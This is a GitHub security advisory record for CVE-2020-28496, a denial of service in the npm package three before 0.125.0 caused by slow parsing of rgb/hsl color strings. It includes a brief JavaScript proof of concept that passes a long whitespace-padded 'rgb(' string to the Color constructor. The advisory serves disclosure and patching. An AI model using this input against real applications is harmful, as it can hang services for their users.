GHSA-FQ6P-X6J3-CMMQ

Vulnerability from github – Published: 2021-03-01 19:57 – Updated: 2023-09-11 16:30
VLAI
Summary
Denial of service in three
Details

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC: 

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "three"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.125.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-24T07:40:52Z",
    "nvd_published_at": "2021-02-18T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. \n\n**PoC:** \n```js\nvar three = require(\u0027three\u0027)\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```",
  "id": "GHSA-fq6p-x6j3-cmmq",
  "modified": "2023-09-11T16:30:56Z",
  "published": "2021-03-01T19:57:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mrdoob/three.js/issues/21132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-THREE-1064931"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in three"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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